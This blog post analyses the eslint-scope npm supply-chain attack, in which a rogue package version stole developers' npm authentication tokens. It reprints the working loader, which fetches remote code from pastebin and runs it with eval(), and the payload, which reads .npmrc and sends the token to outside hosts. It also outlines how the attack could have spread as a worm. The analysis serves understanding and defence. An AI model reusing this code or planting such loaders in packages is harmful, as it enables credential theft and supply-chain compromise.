How the Greatest JavaScript Virus was Caught

Today around 10 am EST one of the most subversive JavaScript viruses was found purely through a programming error by the author. By mere mistake, this well crafted bug exposed itself and thwarted a potentially historic infection of one of the most critical pieces of web software infrastructure. It is not an exaggeration to say that if this virus was not exposed as soon as it was that the damage could have been catastrophic with the potential to reach almost every major web browser and desktop on the internet.

The day starts with a normal update to a lessor known library on GitHub eslint-scope from version 3.7.1 to 3.7.2 on the popular package manager npm. Think of the GitHub as the storage locker of the code and npm as Fedex who actually delivers the code to the developers who use it. While the code on Github was fine, npm itself had a rogue version uploaded to impersonate the most recent version of the software one could use by using previously hacked credentials. This updated code carried the virus inside it and caused no issues to be raised when a new version was being deployed online. While the eslint-scope library appears a small target, the real ingenuity of this malware starts with this library being a trojan horse to infect all other repositories of code that depend on this code, with the capability to eventually infect every conceivable library on npm by stealing npm user’s authentication tokens.

The Delivery Mechanism

The virus was first noticed and posted on an issue thread on GitHub to the bewilderment of original poster and many others. The gist of the hack comes from the following code:

try {
    var https = require('https');
    https.get({
        'hostname': 'pastebin.com',
        path: '/raw/XLeVP82h',
        headers: {
            'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',
            Accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
        }
    }, (r) => {
        r.setEncoding('utf8');
        r.on('data', (c) => {
            eval(c);
        });
        r.on('error', () => {});

    }).on('error', () => {});
} catch (e) {}

 

This code makes an HTTP request to a text file on pastebin.com that contains the actual virus and then executes that code from the response. The mechanism for which the virus does its work does not live in the delivery code, but instead gets downloaded over the internet and executed with the eval() function. This function will execute an arbitrary string inside it as JavaScript with absolutely no regard for the contents of the string. You could be executing a Gameboy Color emulator to play some Pokemon or executing a virus to steal all your sensitive credentials. Unfortunately for us, the latter happened here today. One of the most used resource and documentation sites, the Mozilla Developer Network, succinctly states how to use eval():

Do not ever use eval!

The Virus

Luckily, GitHub user selbekk took a copy of the arbitrary code virus on pastebin that was executed in the eval() before it was taken down so we have a chance to examine what happened here:

try{
var path=require('path');
var fs=require('fs');
var npmrc=path.join(process.env.HOME||process.env.USERPROFILE,'.npmrc');
var content="nofile";
 
if (fs.existsSync(npmrc)){
     
      content=fs.readFileSync(npmrc,{encoding:'utf8'});
      content=content.replace('//registry.npmjs.org/:_authToken=','').trim();
 
      var https1=require('https');
      https1.get({hostname:'sstatic1.histats.com',path:'/0.gif?4103075&101',method:'GET',headers:{Referer:'http://1.a/'+content}},()=>{}).on("error",()=>{});
      https1.get({hostname:'c.statcounter.com',path:'/11760461/0/7b5b9d71/1/',method:'GET',headers:{Referer:'http://2.b/'+content}},()=>{}).on("error",()=>{});
   
    }
}catch(e){}

This code here will look for an important file called .npmrc which contains the user’s authentication token for the package manager npm mentioned above. It will then read the file and send the contents of it over the internet on an HTTP header to two sites that will store all your sensitive data for the malware author.

This token when used allows the holder to act as you for all intents on the site that issued the token. The issue with this occurs when the digital key is stolen from you the thief inherits all your authorizations and can do what they please with those permissions. The goal of this was to hopefully fish for some tokens of users that had important authorizations on npm and create chaos. Using high privilege tokens they could repackage their virus in your software silently and repeat the cycle of infection and constantly keep infecting and stealing npm authentication tokens until caught.

Spread like Wildfire

The initial goal of this virus was not to infect eslint-scope, but to be pulled in by all the other major libraries that use it and therefore infect them and repeat forever. The first target in sight was one of the most popular JavsScript libraries out there in webpack. Over 4 Million people a week download webpack to use in their projects. Since this virus acts on installation of the library every single one of the downloads would be a theft of the user’s credentials. By hitching a ride on a leaf of webpack the virus was able to find a tiny entry point on much larger software package.

The entire life cycle of the virus was less than 12 hours and it still managed to steal around four and one half thousand user’s credentials. If the hacker wrote any semblance of automation they could have done the following:

  1. Get credentials using the virus installed from eslint-scope
  2. Pull new credentials from the storage site and examine token’s permissions
  3. If user’s permission are high, use them to upload a malicious package on npm again like eslint-scope on the user’s own owned packages.
  4. Repeat step 1 with the credentials from the new libraries.

This cycle could theoretically repeat until every npm package was infected with the malware or until someone actually examined the code inside the faulty packages and started the removal process. Eventually the virus would hit an inflection point to where all major libraries have been infected and then be fully active.

How the Mouse was Caught

If it was not for some poorly written node.js code, this virus might not have been found before it was past the tipping point. By luck the developer made a mistake with the.on('data' line. This function delivers only a chunk of the data requested while the author assumed all the data would be send in one chunk, not multiple. That data requested by the virus was JavaScript code and by chance node.js only gave a partial chunk and not the entire script. This caused a parsing error by eval() seen here since most of the data was missing:

undefined:30
      https1.get({hostname:'sstatic1.histats.com',path:'/0.gif?4103075&101',method:'GET',headers:{Referer:'http://1.a/'+conten
                                                                                                                        ^^^^^^

 

Notice that the rest of the script was cut off ? Only about half of the script was sent in the first chunk by node.js and the rest was to be sent after. The author did not take this into account and revealed his malicious code to everyone by accident through an exception bubbling up at install time. If the author took the extra few seconds to verify that all chunks were received (like in the node.js example documentation) they could then have safely executed the virus without alarming anyone. Maybe they needed more end to end tests!

A Pre-Heist for the Actual Heist

This current virus was already so malicious that the npm team had to revoke every key issued before today once the code was isolated and removed. If this virus went unnoticed though the damage could have been absolutely catastrophic.  This goal of this virus was to gain a foothold in everyone’s door to prepare for a bigger delivery of malware. It would be akin to a delivery truck showing up to everyone’s doorstep with a strain of bird flu we would know none the wiser.

Hypothetically, the next step after now owning the means of biggest web software deployment would be to deploy a new piece of malware that was maximally destructive. They could deploy code to find one’s bitcoin and steal it, or install a keylogger and take all your bank passwords. The damage could have been endless. This hacker could have stolen the ultimate software deployment cannon and had the chance to fire it on almost every web software out there if it wasn’t for their own poorly written code.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s